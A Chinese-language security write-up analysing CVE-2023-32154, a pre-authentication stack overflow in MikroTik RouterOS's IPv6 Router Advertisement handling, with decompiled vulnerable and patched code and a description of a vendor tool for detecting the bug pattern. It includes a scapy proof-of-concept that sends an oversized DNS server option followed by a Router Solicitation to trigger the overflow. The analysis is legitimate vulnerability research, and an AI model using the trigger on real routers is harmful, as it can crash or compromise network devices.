MikroTik RouterOS CVE-2023-32154 认证前RCE漏洞分析

MikroTik作为网络基础设施供应商,其产品和RouterOS被广泛采用。目前,至少有超过 300 万台设备在线运行 RouterOS。该漏洞是Pwn2Own上orange团队利用的漏洞,达到了认证前RCE。且该漏洞存在了9年未被发现,基本影响了RouterOS6版本和7版本中的大多数设备。

0x00 CVE信息

What this issue affects: The issue affects devices running MikroTik RouterOS versions v6.xx and v7.xx with enabled IPv6 advertisement receiver functionality. You are only affected if one of the below settings is applied:

通过官方描述,得知漏洞存在于ipv6的RA协议中。

Router Advertisement(RA)是IPv6协议中的一种控制消息,用于告知网络中其他设备关于路由器的存在和IPv6地址分配信息。RA消息通常由网络中的路由器定期广播,以便其他设备可以获取路由器的信息并使用IPv6协议与其通信。

在RouterOS中,RA功能是路由器的一个基本功能,它可以通过配置路由器的接口参数来启用。当启用RA功能后,路由器将会在指定的接口上定期广播RA消息,使得其他IPv6设备可以通过接收这些消息来自动配置自己的IPv6地址和路由信息。

0x01 前置知识 IPV6 SLAAC

所谓 IPV6 SLAAC 即 Stateless address autoconfiguration,无状态地址自动配置。这里我们需要了解几个概念。

路由器请求RS(Router Solicitation)报文:很多情况下主机接入网络后希望尽快获取网络前缀进行通信,此时主机可以立刻发送RS报文,网络上的设备将回应RA报文。

路由器通告RA(Router Advertisement)报文:每台设备为了让二层网络上的主机和设备知道自己的存在,定时都会组播发送RA报文,RA报文中会带有网络前缀信息,及其他一些标志位信息。

我们的电脑可以通过路由器发送的RA来接收ipv6前缀从而配置ipv6地址,同样的我们也可以向路由器发送RA来对路由器的ipv6地址和一些其他信息(比如DNS)进行配置。

通过分析这个协议我们可以发现,在这种场景中,路由器其实是一个既充当了客户端,又充当了服务端的功能。其他的客户端可以给路由器发送配置,路由器会将这些配置存储。而路由器本身又会作为客户端存在,把自身的配置向其他设备进行广播。而作为客户端情况存在往往会疏于检查从而存在漏洞。

0x02 漏洞分析

在RouterOS7.9版本中,找到负责RA协议处理的二进制radvd进行bindiff,发现新版本的patch主要在下面这段代码(以下是在7.9版本中未修复的代码)

while ( v21 != a2 + 1 )
  {
    v9 = sub_804E434(v8);Mikrotick
    if ( (_BYTE)v9 )
    {
      v10 = operator<<(&unk_80554C0, "adding DNS server option, address=", v9, v9);
      v11 = operator<<(v16, v21 + 3, v10, v21 + 3);
      v12 = operator<<(v11, v20, v17, v18);
      endl(v12);
    }
    v19 = v21[4];
    v13 = v21[5];
    v14 = v21[6];
    *(_DWORD *)(a1 + v3) = v21[3];
    *(_DWORD *)(a1 + v3 + 12) = v14;
    *(_DWORD *)(a1 + v3 + 4) = v19;
    *(_DWORD *)(a1 + v3 + 8) = v13;
    v3 += 16;
    tree_iterator_base::incr((tree_iterator_base *)&v21);
  }

可以看到这段逻辑循环终止条件是v21这个vector到末尾,并且在循环过程中会把vector中的内容向a1上拷贝。其实再向上追一下可以发现a1是上层函数中的一个栈上的变量且大小是固定的。因此只要这个vector中的内容足够大便可以造成栈溢出。

在上层函数中,a1变量对应v126,可见这段代码整体逻辑就是把vecotr上的DNS server option拷贝到栈上组成一个包,然后发送出去。其他的关于RA的配置信息也是如此构造。

message.msg_name = v129;
      message.msg_iov = (struct iovec *)v126;
      message.msg_flags = 0;
      message.msg_namelen = 28;
      message.msg_iovlen = 1;
      message.msg_control = v130;
      message.msg_controllen = 32;
      result = sendmsg(fd, &message, 0);

在routeros后续版本7.9.1中,这部分逻辑检测了vecotr上的总容量要小于栈上的大小。

在7.11中又将栈上的变量直接改为了动态分配的vector,永绝后患。

if ( (unsigned int)(v6 - *a2 + 16 * result + 8) <= 0x1000 )
    {
      LOBYTE(v29[0]) = 0;
      v11 = sub_804D38E(8u, v6, (vector_base *)a2, v29);
      *v11 = 25;
      v11[1] = 2 * *a3 + 1;
      v12 = sub_804BBBE(a4);
      *(_DWORD *)(v13 + 4) = v12;
      v29[0] = a3[2];
      result = (int)(a3 + 1);
      v26 = a3 + 1;
      v14 = " (expired)";
      if ( a4 )
        v14 = "";
      while ( 1 )
      {
        v16 = v29[0];
        if ( v26 == (int *)v29[0] )
          break;
        v28 = (char *)(v29[0] + 12);
        v15 = sub_804E7B2();
        if ( (_BYTE)v15 )
        {
          v17 = operator<<(&unk_80564A0, "adding DNS server option, address=", v15, v15);
          v18 = operator<<(v21, v20, v17, v28);
          v19 = operator<<(v18, v14, v23, v25);
          endl(v19);
        }
        vector_insert((vector_base *)a2, a2[1], v28, (char *)(v16 + 28));
        result = tree_iterator_base::incr((tree_iterator_base *)v29);
      }
    }

根据对ipv6协议的学习,我们可以通过先向Mikrotik发送通过发送路由器通告RA(Router Advertisement)报文去把DNS server option这个vector设置的很大。然后再路由器请求RS(Router Solicitation)报文来让Mikrotik把自身的配置通告给邻居设备来触发这段逻辑的执行。

0x03 漏洞触发

首先需要设置路由器可以接收RA报文,默认其实是不接受的。同时还需要网卡支持RA功能(x86虚拟机上默认网卡不支持开启,需要自己新增ipv6网卡)。

ipv6/settings/ set accept-router-advertisements=yes

查找RFC构造NS和NA报文来触发漏洞,这里我选择scapy,scapy在文档中均有对RA和RS报文的实现。我们对RS报文原封不动,修改RA报文的extion部分的DNS server option即可。

根据rfc6106,DNS server option格式如下:

      0                   1                   2                   3
      0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
     |     Type      |     Length    |           Reserved            |
     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
     |                           Lifetime                            |
     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
     |                                                               |
     :            Addresses of IPv6 Recursive DNS Servers            :
     |                                                               |
     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

0x04 构造PoC

最终构造poc如下:

from scapy.all import *
target_addr = "fe80::20c:29ff:fe03:f73"

\
class MyICMPv6NDOptRDNSS(Packet):
    name = "ICMPv6 Neighbor Discovery Option - Recursive DNS Server Option"
    fields_desc = [ByteField("type", 25),
                   ByteField("len", 17),
                   ShortField("res", None),
                   IntField("lifetime", 0xffffffff),
                   StrField(
  "dns", "AAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBCCCCCCCCCCCCCCCCAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBCCCCCCCCCCCCCCCCBBBBBBBBBBBBBBBBCCCCCCCCCCCCCCCC")
                   ]

\
# 构造 RA 消息
ra = IPv6(dst=target_addr) / \
    ICMPv6ND_RA()

\
pkt = ra / \
    MyICMPv6NDOptRDNSS()
# 发送 RA 消息
send(pkt)

# 发送RS消息
rs = IPv6(dst=target_addr) / ICMPv6ND_RS()
send(rs)

值得一提的是在我本地进行该漏洞复现时发现单个包设置的DNS地址数量不足以溢出到返回地址,而发送多个包会刷新之前的记录,因此一直没能成功利用。后续看到了orange在defcon上的相关分享,他们提到他们也遇到了类似的问题。因为在ubuntu上发送包的间隔是mac上的390倍,时间间隔过长了,因此他们也无法在ubuntu上成功运行exp最终在mac上打的。

0x05 漏洞模式总结及使用破壳平台复现

这是一类典型的漏洞模式,接下来,我们尝试对其漏洞模式进行总结,并且使用破壳平台进行复现,以使得往后可以自动化检测此类漏洞。

我们再看一下漏洞产生的位置。该漏洞最直观的漏洞产生原因其实在于循环拷贝操作没有进行长度限制。v21a1拷贝时没有检测拷贝长度是否会超过a1的缓冲区大小最终造成了栈溢出。这种漏洞模式相较于直接使用strcpy等危险函数造成的溢出漏洞相比更加隐蔽,且有相当多的高价值漏洞都是类似的漏洞模式。如 Citrix ADC/Gateway - CVE-2023-3519Netgear - CVE-2023-27369等都是类似产生的原因,并同样可以使用破壳平台进行查询,此处还是以routeros7.9版本的radvd固件为例。

while ( v21 != a2 + 1 )
  {
    v9 = sub_804E434(v8);Mikrotick
    if ( (_BYTE)v9 )
    {
      v10 = operator<<(&unk_80554C0, "adding DNS server option, address=", v9, v9);
      v11 = operator<<(v16, v21 + 3, v10, v21 + 3);
      v12 = operator<<(v11, v20, v17, v18);
      endl(v12);
    }
    v19 = v21[4];
    v13 = v21[5];
    v14 = v21[6];
    *(_DWORD *)(a1 + v3) = v21[3];
    *(_DWORD *)(a1 + v3 + 12) = v14;
    *(_DWORD *)(a1 + v3 + 4) = v19;
    *(_DWORD *)(a1 + v3 + 8) = v13;
    v3 += 16;
    tree_iterator_base::incr((tree_iterator_base *)&v21);
  }

大多数漏洞查询都难以查询此类循环拷贝操作,难点在于一个是查找循环的范围,一个是对于循环退出条件的判断。而破壳平台实现了关于basic_blockast 相关的查询方法,同时还能对数据流进行查询。

破壳平台使用插件功能对此种漏洞进行了以下判断:

  1. 判断循环范围内是否存在循环赋值操作
  2. 判断循环结束条件是否存在与被赋值变量相关的数据流(排除了对被赋值变量大小进行检测的情况)

在内部的破壳平台中我们实现了插件的功能,将这种查询方式实现了名为自实现sink点分析的插件。如下我们在平台中使用该插件进行查询。

最终可以在routeros7.9版本中查找到该漏洞(图中共有2个漏洞点,另一个简单判断为误报)。

目前破壳平台还在持续内测更多功能,如功能更强大的插件功能,更方便大家进行污点查询的简单模式以及基于模式匹配的查询 。这些后续都会增加到我们的社区版破壳平台中(poc.qianxin.com)。敬请期待……